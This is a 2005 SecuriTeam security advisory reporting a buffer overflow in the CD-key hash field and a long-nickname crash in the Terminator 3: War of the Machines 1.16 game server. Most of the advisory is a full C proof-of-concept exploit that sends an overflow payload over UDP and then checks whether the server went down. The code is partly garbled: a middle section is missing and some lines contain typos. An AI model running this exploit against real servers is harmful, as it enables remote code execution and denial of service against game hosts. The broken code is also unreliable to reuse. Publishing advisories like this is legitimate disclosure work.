

# [NT] Terminator 3: War of The Machines Buffer Overflow and DoS

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-05/0153.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 05/29/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 29 May 2005 18:47:18 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.secureteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.secureteam.com/maillinglist.html>

-----

Terminator 3: War of The Machines Buffer Overflow and DoS

---

## SUMMARY

" <[http://www.atari.com/us/games/terminator\\_3\\_war/pc](http://www.atari.com/us/games/terminator_3_war/pc)> Terminator 3: War of the Machines is a multiplayer FPS game based on the homonym movie. "

A buffer overflow within the CD-Key allows attackers to execute arbitrary code on the Terminator 3: War of the Machines game server. A denial of service vulnerability allow attackers to crash a server using a too long nick name.

## DETAILS

Vulnerable Systems:

\* Terminator 3: War of the Machines version 1.16

Buffer Overflow:

The text field containing the client CD-key hash is the cause of a buffer-overflow that affects the server and allow attackers to execute arbitrary code on the server.

Note: this is NOT the Gamespy CD-key SDK buffer-overflow.

## Securiteam: [NT] Terminator 3: War of The Machines Buffer Overflow and DoS

### Denial of Service:

If an attacker uses a too long nickname the server crashes for the access to an arbitrary zone of the memory.

### Exploit:

```
/* t3wmbof.c */  
/*
```

by Luigi Auriemma – <http://alugi.altervista.org/poc/t3wmbof.zip>

```
*/
```

```
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <time.h>  
#include "rwbits.h"
```

```
#ifdef WIN32
```

```
    #include <winsock.h>  
    #include "winerr.h"
```

```
    #define close closesocket  
    #define ONESEC 1000
```

```
#else
```

```
    #include <unistd.h>  
    #include <sys/socket.h>  
    #include <sys/types.h>  
    #include <arpa/inet.h>  
    #include <netinet/in.h>  
    #include <netdb.h>
```

```
    #define ONESEC 1
```

```
#endif
```

```
#define VER "0.1"
```

```
#define BUFSZ 4096
```

```
#define PORT 60005
```

```
#define TIMEOUT 1
```

```
#define TWAIT 3
```

```
#define NICKSZ 16
```

```
#define JOIN1 "try"
```

```
#define ANSW "try_this " /* challenge and "server_token" */
```

```
#define JOIN2 "connect " \
```

```
    "%d " /* version */ \
```

```
    "%d " /* challenge */ \
```

```
    "\"%s\" " /* Gamespy cd-key */ \
```

```
    "%s" /* nickname */
```

```
#define EIP "\xde\xcd\xad\xde"
```

```
#define BOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
```

```
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
```

## Securiteam: [NT] Terminator 3: War of The Machines Buffer Overflow and DoS

```
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \  
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \  
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \  
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \  
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \  
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \  
EIP  
  
#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer,  
sizeof(peer)) \  
    < 0) std_err();  
#define RECV(x,y) len = recvfrom(sd, x, y, 0, NULL, NULL); \  
    if(len < 0) std_err();  
  
int read_bitstr(u_char *in, int inlen, u_char *out, int bits);  
int write_bitstr(u_char *in, u_char *out, int bits);  
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz);  
u_int create_rand_string(u_char *data, int len, u_int num);  
int show_info(u_char *data, int len);  
int timeout(int sock);  
u_long resolv(char *host);  
void std_err(void);  
  
struct sockaddr_in peer;  
  
int main(int argc, char *argv[]) {  
    u_int seed;  
    int sd,  
        tmp,  
        len,  
        gamever,  
        chall,  
        attack;  
    u_short port = PORT;  
    u_char buff[BUFSZ + 1],  
        str[BUFSZ + 1],  
        nick[NICKSZ + 1],  
        info[] =  
        "\xfe\xfd" "\x00" "\x00\x00\x00\x00" "\xff\x00\x00",  
        *token,  
        *p;  
  
#ifdef WIN32  
    WSADATA wsadata;  
    WSAStartup(MAKEWORD(1,0), &wsadata);  
#endif  
  
    setbuf(stdout, NULL);  
  
    fputs("\n"  
        "Terminator 3 War of the Machines <= 1.16 buffer-overflow and
```

## Securiteam: [NT] Terminator 3: War of The Machines Buffer Overflow and DoS

```
crash "VER"\n"
    "by Luigi Auriemma\n"
    "e-mail: aluigi@autistici.org\n"
    "web: http://aluigi.altervista.org\n"
    "\n", stdout);

if(argc < 3) {
    printf("\n"
        "Usage: %s <attack> <host> [port(%d)]\n"
        "\n"
        "Attack:\n"
        " 1 = cd-key hash buffer-overflow, return address 0x%08lx\n"
        " 2 = big nickname access violation\n"
        "\n", argv[0], port, *(u_long *)EIP);
    exit(1);
}

attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);

peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
    inet_ntoa(peer.sin_addr), port);

fputs("- request informations\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
*(u_long *) (info + 3) = ~time(NULL);
len = send_recv(sd, info, sizeof(info) - 1, buff, BUFFSZ);
close(sd);

gamever = show_info(buff, len);
printf("\n- set game version %d\n", gamever);
seed = time(NULL);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

*buff = 0x00;
tmp = write_bitstr(JOIN1, buff, 2);
len = tmp >> 3;
if(tmp & 7) len++;

printf("- send \"%s\" packet\n", JOIN1);
len = send_recv(sd, buff, len, buff, BUFFSZ);

read_bitstr(buff, len, str, 2);
```



```

}
close(sd);

sleep(ONESEC);

fputs("-- check server:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
*(u_long*)(info + 3) = ~time(NULL);
SEND(info, sizeof(info) - 1);
if(timeout(sd) < 0) {
    fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
    fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}

int read_bitstr(u_char *in, int inlen, u_char *out, int bits) {
    while((*out = read_bits(8, in, bits)) && inlen-->) {
        bits += 8;
        out++;
    }
    return(bits);
}

int write_bitstr(u_char *in, u_char *out, int bits) {
    while(*in) {
        bits = write_bits(*in, 8, out, bits);
        in++;
    }
    bits = write_bits(0x00, 8, out, bits); // NULL
    return(bits);
}

int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz) {
    int i,
        len;

    for(i = 3; i; i-->) {
        SEND(in, insz);
        if(!timeout(sd)) break;
    }

    if(!i) {
        fputs("\nError: socket timeout, no reply received\n\n", stdout);
        exit(1);
    }
}

```

## Securiteam: [NT] Terminator 3: War of The Machines Buffer Overflow and DoS

```
    RECV(out, outsz);
    return(len);
}

u_int create_rand_string(u_char *data, int len, u_int num) {
    const static u_char table[] =
        "0123456789"
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        "abcdefghijklmnopqrstuvwxyz";

    len = num % len;
    if(len < 3) len = 3;

    while(len-- > 0) {
        num = (num * 0x343FD) + 0x269EC3;
        *data++ = table[num % (sizeof(table) - 1)];
    }
    *data = 0x00;
    return(num);
}

int show_info(u_char *data, int len) {
    int nt = 0,
        ver = -1,
        d;
    u_char *limit = data + len;

    fputc('\n', stdout);
    data += 5;
    while(data < limit) {
        d = strlen(data);
        if(nt & 1) {
            if(!ver) ver = atoi(data);
            printf("%s\n", data);
        } else {
            if(!d) break;
            if(!strcmp(data, "gamever")) ver = 0;
            printf("%30s: ", data);
        }
        data += d + 1;
        nt++;
    }
    return(ver);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;
```

## Securiteam: [NT] Terminator 3: War of The Machines Buffer Overflow and DoS

```
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}

#ifdef WIN32
void std_err(void) {
    perror("\nError");
    exit(1);
}
#endif

/* EOF */
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma.

You can obtain a copy of winerr.h at:

<<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>>

<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>

You can obtain a copy of rwbits.h at:

<<http://www.securiteam.com/windowsntfocus/6C0021PC0Y.html>>

<http://www.securiteam.com/windowsntfocus/6C0021PC0Y.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [NT] Terminator 3: War of The Machines Buffer Overflow and DoS

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.